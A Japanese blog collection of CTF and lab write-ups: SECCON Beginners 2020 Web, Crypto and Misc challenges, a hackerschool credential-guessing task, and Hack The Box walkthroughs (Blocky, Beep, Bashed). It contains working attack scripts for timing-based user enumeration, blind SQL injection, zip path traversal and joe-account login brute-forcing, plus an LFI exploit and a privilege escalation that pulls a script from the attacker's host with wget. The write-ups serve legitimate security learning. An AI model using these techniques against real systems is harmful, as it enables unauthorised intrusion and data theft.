SECCON beginners 2020 Writeup(Web)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
今回はWebジャンル。Spy、Tweetstore、unzipの3問を記載。
Miscジャンルの記事は以下。 paichan-it.hatenablog.com
Cryptoジャンル(R&Bのみ)は以下。 paichan-it.hatenablog.com
[Web] Spy(Beginner)
問題
As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the URL to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
employees.txtとapp.pyが添付されている。
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
employees.txtに記載のあるユーザのうち、存在するユーザを選択すればフラグがゲットできるようだ。
解法
app.py
を確認。ログイン試行するユーザが存在している場合にはauth.calc_password_hash(app.SALT, password)
で複数回のストレッチングが行われるため、レスポンスが遅くなる模様。
ユーザが存在しない場合には、一瞬でレスポンスが返ってくる。これらは、ブラウザにも表示されるため容易に確認することができる。
Arthurでログイン試行した場合
Elbertでログイン試行した場合
26回手動でログイン試行すればよいので時間はかからないが、競技終了後あえてスクリプトを書いてみた。
import requests import bs4 import re with open("employees.txt", "r") as f: employees = f.readlines() URL = "https://spy.quals.beginners.seccon.jp/" for i in employees: DATA = {"name":i.rstrip(), "password":123} rpost = requests.post(url=URL, data=DATA) soup = bs4.BeautifulSoup(rpost.text, "html.parser") timeData = soup.find("p").get_text() extractData = "".join(re.findall("[0-9]{1,}.[0-9]{1,}", timeData)) print(i.rstrip() + " : " + extractData)
実行結果は以下。
Arthur : 0.0003507 Barbara : 0.0003492 Christine : 0.0003667 David : 0.0003282 Elbert : 0.5867867 Franklin : 0.0003587 George : 0.5761458 Harris : 0.0003731 Ivan : 0.0003675 Jane : 0.0003095 Kevin : 0.0003963 Lazarus : 0.5207610 Marc : 0.6260417 Nathan : 0.0003987 Oliver : 0.0004116 Paul : 0.0004193 Quentin : 0.0003628 Randolph : 0.0003301 Scott : 0.0003395 Tony : 0.6102204 Ulysses : 0.0003216 Vincent : 0.0003582 Wat : 0.0002925 Ximena : 0.3995440 Yvonne : 0.6283144 Zalmon : 0.0003918
この中で、他と比べてレスポンス時間が長いのは、「Elbert」、「George 」、「Lazarus 」、「Marc 」 、「Tony 」、「Ximena 」、「Yvonne 」である。
これらのユーザをチェックボックスで選択しAnswerをクリックしたら、フラグが表示された。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
[Web] Tweetstore(Easy)
問題
Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/
添付されているzipからはwebserver.go
が解凍された。
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
上記コードより、今回はdbuserがフラグとなる。データベースはpostgreSQLのようだ。
解法
当日は解けなかったが、以下のwriteupを参考に、理解した。
SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい
search word(searchパラメータ)
に一致したツイートがsearch limit(limitパラメータ)
件数以下表示されるwebページ。
webserver.go
を確認してみると、以下よりlimit句の中に入るsearchパラメータはシングルクォートがエスケープされていることが分かる。
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
一方、limitパラメータはエスケープされていないため、ここが狙い目になりそう。
sql += " limit " + strings.Split(limit[0], ";")[0]
これらより、生成されるSQL文は以下のようになる。
select url, text, tweeted_at from tweets where text like '%{search}%' order by tweeted_at desc limit {limit}
今回はdbuserがフラグであるため、postgreSQLのシステム情報関数であるcurrent_user
が使えそう。
試しに、limit句にascii(substr(current_user,1,1))
を挿入し、リクエストを送付すると、無事ステータスコード200が返ってきた。
何をやっているかというと、substr(current_user,1,1)
でデータベースに接続しているユーザ名の一文字目を取得し、その結果をasciiコード番号に変換している。
asciiコード暗号に変換することで、limit X(X:数値)
の形になり、文法的に正しくなる。
BurpのRepeaterを見るとこんな感じ。99件のツイートが取得された。99はascii文字に変換するとc
。
同様に、ascii(substr(current_user,2,1))
を挿入してリクエストすると116件のツイートが取得できた。116はascii文字に直すとt
、ascii(substr(current_user,3,1))
では102件=f
。
表示されたツイート数がdbuserになりそう。以下のようなスクリプトを書いた。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(40): rget = requests.get( url = URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))".format(i+1) } ) res = rget.text.count("Watch@Twitter") flag += chr(res) print(flag)
実行すると、フラグが表示される。
ctf4b{is_postgres_your_friend?}
[Web] unzip(Easy)
問題
Unzip Your .zip Archive Like a Pro.
PHPのコードと、docker-compose.ymlが渡される。
index.php
<?php error_reporting(0); session_start(); // prepare the session $user_dir = "/uploads/" . session_id(); if (!file_exists($user_dir)) mkdir($user_dir); if (!isset($_SESSION["files"])) $_SESSION["files"] = array(); // return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } } // process uploaded files $target_file = $target_dir . basename($_FILES["file"]["name"]); if (isset($_FILES["file"])) { // size check of uploaded file if ($_FILES["file"]["size"] > 1000) { echo "the size of uploaded file exceeds 1000 bytes."; die(); } // try to open uploaded file as zip $zip = new ZipArchive; if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { echo "failed to open your zip."; die(); } // check the size of unzipped files $extracted_zip_size = 0; for ($i = 0; $i < $zip->numFiles; $i++) $extracted_zip_size += $zip->statIndex($i)["size"]; if ($extracted_zip_size > 1000) { echo "the total size of extracted files exceeds 1000 bytes."; die(); } // extract $zip->extractTo($user_dir); // add files to $_SESSION["files"] for ($i = 0; $i < $zip->numFiles; $i++) { $s = $zip->statIndex($i); if (!in_array($s["name"], $_SESSION["files"], TRUE)) { $_SESSION["files"][] = $s["name"]; } } $zip->close(); } ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> </head> <body> <nav role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">Unzip</a> </div> </nav> <div class="container"> <br><br> <h1 class="header center teal-text text-lighten-2">Unzip</h1> <div class="row center"> <h5 class="header col s12 light"> Unzip Your .zip Archive Like a Pro </h5> </div> </div> </div> <div class="container"> <div class="section"> <h2>Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="file-field input-field"> <div class="btn"> <span>Select .zip to Upload</span> <input type="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text"> </div> </div> <button class="btn waves-effect waves-light"> Submit <i class="material-icons right">send</i> </button> </form> </div> </div> <div class="container"> <div class="section"> <h2>Files from Your Archive(s)</h2> <div class="collection"> <?php foreach ($_SESSION["files"] as $filename) { ?> <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a> <? } ?> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body> </html>
docker-compose.yml
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
docker-compose.ymlを確認すると、この問題は、nginxコンテナとphp-fpmコンテナの2つで構成されており、./flag.txtがマウントされていることが分かる。
このflag.txtを読み出すことが目標だ。
解説
aaa.zipをアップロードしてみる。すると、aaa.zip内に含まれているファイル名(aaa.txt)が表示される。
ファイル名をクリックすると、そのファイルの中身を参照することができるサービス。
index.php
の以下の部分を見ると、アップロードしたファイルは/uploads/{session_id}/filename
に配置されるようだ。
$user_dir = "/uploads/" . session_id(); (snip) if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } }
docker-compose.yml
から、フラグのパスは分かっている(/flag.txt)。つまり、filename
が../../flag.txt
となればフラグがゲットできそう。しかし、windowsでは、ファイル名に/
という文字を含むことができないため、工夫する必要がある。以下の様にしてzipファイルを作成した。
..A..Aflag.txt
という名前のファイルを作成。- zip圧縮する。
3.バイナリエディタで
A
を/
に書き換える。 4.保存
こうして出来上がったzipファイルをアップロードすると、ファイル名に../../flag.txt
が!
ここにアクセスしてフラグゲット。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
SECCON beginners 2020 Writeup(Crypto:R&B)
はじめに
SECCON beginners 2020に個人で参加。
解けたのはBeginne問題のみ。
Miscジャンルの記事は以下。 paichan-it.hatenablog.com
[Crypto] R&B(Beginner)
問題
Do you like rhythm and blues?
添付されているzipからはencoded_flag
とproblem.py
が解凍された。
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
解法
problem.py
を確認する。FORMAT
という環境変数の中を一文字ずつ確認していて、R
であれば、先頭にFLAG
をrot13
エンコードした結果の先頭にR
を付与し、B
であれば、先頭にFLAG
をbase64
エンコードした結果の先頭にB
を付与するという流れ。 デコードはこれと逆のことをやれば良い。
先頭文字がR
であればR
を取り除いたうえでrot13
デコード、先頭文字がB
であればB
を取り除いたうえで`base64デコード。
以下のスクリプトを実行し、フラグゲット。
import codecs import base64 with open("encoded_flag", "r") as f: data = f.read() while True: if (data[0] == "R"): data = codecs.decode(data[1:], "rot13") elif (data[0] == "B"): data = base64.b64decode(data[1:]).decode("utf-8") else: print(data) break
ctf4b{rot_base_rot_base_rot_base_base}
SECCON beginners 2020 Writeup(Misc)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
まずはMiscジャンルから。
[Misc] Welcome(Beginner)
問題
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
解法
[Rules]を見ると、DicordのURLが記載されている。 ここにアクセスしてフラグ発見。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
[Misc] emoemoencode(Easy)
問題
Do you know emo-emo-encode?
以下添付ファイルの中身。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解法
「emoji encode」などで検索していると、以下のサイトが見つかる。
apps.timwhitlock.info
unicodeらしい。CyberChef
のRecipe
にTo Charcode
をセットして出力を確認する。
どの絵文字も共通して01f3
から始まっている。
フラグフォーマットである、ctf4b{
を変換してみると、絵文字の下二桁をとったものと一致していた。(01f363 01f374 01f366 01f334 01f362 01f37b )
後は、01f3
を取り除いたものを、From CharCode
に食わせるだけ。
ctf4b{stegan0graphy_by_em000000ji}
[Misc] readme(Easy)
問題
readme nc readme.quals.beginners.seccon.jp 9712
添付されているzipからはserver.py
が解凍された。
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
解法
/home/ctf/flag
にフラグがあるが、入力にctf
が含まれていると、Path not allowed
が表示されるらしい。確認してみる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /home/ctf/flag [-] Path not allowed
確かに。ctf
という文字列を使わずに、このファイルにアクセスする必要がるようだ。
前に参加したCTFで以下のページの記憶が残っていたので、/proc/self/
ディレクトリを駆使すれば解けそうだ。
web.mit.edu
/proc/self/
ディレクトリは、現在実行中のプロセスのリンクであり、プロセスの状況を把握するために活用できる。
勉強がてら/proc/self/
ディレクトリ配下を色々調べてみる。
- cmdline:プロセスを開始する時に発行されるコマンドを含む。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cmdline python3./server.py
どこかのディレクトリで、server.py
が実行されていることが分かる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=28595SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=126.0.26.69SOCAT_PEERPORT=55925
環境変数が表示される。PWD=/home/ctf/server
よりserver.py
が実行されているディレクトリがわかった。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
こんな階層ってこと。
― /home
❘__ /ctf
❘__ flag
❘__ /server
❘__server.py
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
【Hack The Box】Blocky Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.37
21(ftp)、22(ssh)、80(http)が開いている。80番ポートはWordPressが動いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするとこんな画面。
ディレクトリスキャン
gobuster
でディレクトリスキャンを実行。
# gobuster dir -u http://10.10.10.37 -w /usr/share/dirb/wordlists/common.txt
/plugins/にアクセスすると、ファイルを2つ発見。
BlockyCore.jarの解析
Downloadsディレクトリからカレントディレクトリにコピーし、ファイルタイプを確認する。
# cp /root/Downloads/* . # ls | xargs file
BlockyCore.jarを解凍し、解凍されたものを見てみる。BlockyCore.classには"root"という文字列とランダムな文字列(パスワード?)も見える。
# jar xvf BlockyCore.jar
jd-gui
でBlockyCore.classをデコンパイル。ランダムな文字列はパスワードであることが分かる。
sshアクセス
勝利を確信し、rootユーザを上記で見つけたパスワードでsshアクセス試行したが、駄目だった。
# ssh root@10.10.10.37
wpscan
80番ポートではWordPressが動いていることを思い出し、wpscan
を実行。ユーザ名を列挙する--enumerate u
オプションをつける。
# wpscan --url http://10.10.10.37 --enumerate u
「notch」と「Notch」というユーザが列挙された。
sshアクセス 2
wpscan
で列挙された「notch」でsshアクセス試行したところ、ログイン成功。パスワードはBlockyCore.classのデコンパイルで見つけたものを使用。
user.txtも発見できた。
# ssh notch@10.10.10.37 # cat user.txt
権限昇格
rootに権限昇格するヒントを得るために、まずは以下を実行。
$ sudo -l
どのユーザにもなれて、どのコマンドの実行も許可されている。
cat
コマンドでroot.txtの中身を確認して終了。
$ sudo cat /root/root.txt
user.txt:59fee0977fb60b8a0bc6e41e751f3cd5
root.txt:0a9694a5b4d272c694679f7860f1cd5f
【8946】Take#55 writeup
はじめに
今更ながら8946のTake#55を解いたので、そのwriteupを。 www.hackerschool.jp
問題
あるサイトから流出した会員IDのリストを入手しました。 パスワードの記載はなく、会員IDのみのリストです。 このリストを元に、下記サイトのログイン認証を突破してみてください。 ログイン成功後、表示されるパスワードを以下のフォームに入力すればクリアです。
「会員IDのリスト」は10000件のIDが書かれたテキストファイル。
「下記サイト」にアクセスすると以下のような画面が表示される。
問題紹介には「Joeアカウント」と記載されている。
解法
Joeアカウントとは、IDとパスワードが同じアカウントのことを言う。
(例 ID:joe、パスワード:joe)
問題紹介にもあるように、10000万のIDのなかからこのページにログインできるアカウント(joeアカウント)を探せという問題。
10000通りを手動で調べるのは無理なので、以下のようなスクリプトを書いた。
認証失敗すると、レスポンスに「Error!」という文字列が含まれるため、レスポンスにその文字列が含まれないPOSTデータを表示するスクリプト。
import requests # take55のURL URL = "http://www.hackerschool.jp/hack/take55_attack.php" # take55_id_data.txtの内容全てを読み出し、一行毎にリスト化 with open(r"8946\take55_id_data.txt", "r") as f: fdata = f.readlines() s = requests.Session() # POSTするデータにid、passが同じものを一つずつリクエスト # 改行コードが邪魔なのでstripで削除 for i in fdata: rpost = s.post( url = URL, data = {"id":i.strip(),"pass":i.strip()}, headers = {"Cookie":"Your Cookie"} ) # レスポンスの中に"Error!"が含まれていないPOSTデータを表示 if ("Error!" not in rpost.text): print(i.strip()) break
【Hack The Box】Beep Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.7
色々ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするが、443ポートにリダイレクトされる。
elastixというものが動いているようだ。
ディレクトリスキャン
gobusterでディレクトリスキャンを実行。
※kオプションは、SSL証明書を検証しないオプション
# gobuster dir -u http://10.10.10.7 -w /usr/share/dirb/wordlists/common.txt -k
色々アクセスしてみたが、ヒントになるようなものはなかった。
エクスプロイトコード調査
elastixのバージョンなどは把握できていないが、エクスプロイトコードを探す。
# searchsploit elastix
上から4つ目のLocal File Inclusionが気になる。以下のコマンドでエクスプロイトコードをダウンロード。
# searchsploit -m 37637
中身を見てみると、真ん中下あたりに「#LFI Exploit」の後にパスが記載されている。
エクスプロイトコード実行
ブラウザにコード内に記載されていたパスを入力してみると、怪しげなページにアクセスできた。
見にくかったため、ページソースを参照する。
ユーザ名やパスワードと思われるものを発見。これを使ってsshアクセスしてみる。
(参考)sshのエラー対応
10.10.10.7のサーバに対してsshアクセスしようとしたら、以下のようなエラーが表示された。 サーバのOpenSSHが古いため(ver4.3)、クライアント側でいくつかのレガシーな暗号アルゴリズム(Their offer:以降)がサポート外になっているようだ。 サーバ側のOpenSSHのバージョンを上げれば良さそうだが、それはできないため、/etc/ssh/ssh_configに以下を追記したらエラーは表示されなくなった。
KexAlgorithms +diffie-hellman-group-exchange-sha1
sshアクセス
上述のエラー対応後、発見したユーザ名、パスワードでアクセス試行。結局、rootでアクセスできた。
あとはuser.txtとroot.txtを取得して終了。
user.txt:aeff3def0c765c2677b94715cffa73ac
root.txt:d88e006123842106982acce0aaf453f0
【Hack The Box】Bashed Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.68
80(http)ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセス。ソースコードなどを確認したが、とくにヒントは得られない。
ディレクトリスキャン
ディレクトリスキャンを実行。dirbが遅いので、gobusterを使った。
# gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt
/dev/にアクセスしてみると、ディレクトリリスティングが有効であり、配下にあるphpbash.phpにアクセスしてみると任意のコマンドが実行できるWebShellであった。
あとは、以下の流れでuser.txtを取得。
cd /home ls cd arrexel cat user.txt
scriptmanagerユーザの調査
上記画像より、/home配下にはarrexelとscriptsmanagerユーザのディレクトリの存在が確認できる。
ほとんどのディレクトリはrootが所有者だが、scriptsディレクトリだけはscriptmanagerが所有者であった。ここに何かヒントがあると予想した。
sudoコマンドが実行できるかを確認。
現在のユーザ(www-data)は、パスワードなしでscriptmanagerの権限で全てのコマンドが実行できることが分かった。
sudo -l
scriptmanagerの権限で/scripts配下を確認すると、test.pyとtest.txtの存在が確認できた。test.pyの所有者はscriptmanagerで、test.txtの所有者はrootであった。
数分後に同じコマンドを実行すると、test.txtのタイムスタンプが変わることも確認。
sudo -u scriptmanager ls -l /scripts
test.pyの置き換え
/scripts配下にあるtest.pyの中身を確認する。
sudo -u scriptmanager cat /scripts/test.py
test.txtに「testing 123!」という文字列を書き込むスクリプトだった。test.txtのタイムスタンプが変わっていたのは、test.pyがcronなどで定期的に実行されうよう設定されていたためだと思われる。
また、test.txtの所有者がrootであることから、test.pyはroot権限で実行されていると考えられる。
そこで、test.pyを、root.txtを表示(出力)するスクリプトに置き換える。
攻撃者側環境で、pythonスクリプトを用意し、Webサーバを起動した。
※pythonでOSコマンドを実行するために、os.system()を使用。
import os os.system("cat /root/root.txt > /tmp/root.txt")
python -m SimpleHTTPServer 80
WebShell上から、攻撃者端末上に作成したtest.pyをダウンロードし、/scriptsフォルダに上書きする(scriptmanagerの権限で)。
cd /tmp wget http://10.10.14.21/test.py sudo -u scriptmanager cp test.py /scripts
test.pyが上書きできたことを確認し、出力先のroot.txtを確認して終了。
sudo -u scriptmanager cat /scripts/test.py cat /tmp/root.txt
user.txt:2c281f318555dbc1b856957c7147bfc1
root.txt:cc4f0afe3a1026d402ba10329674a8e2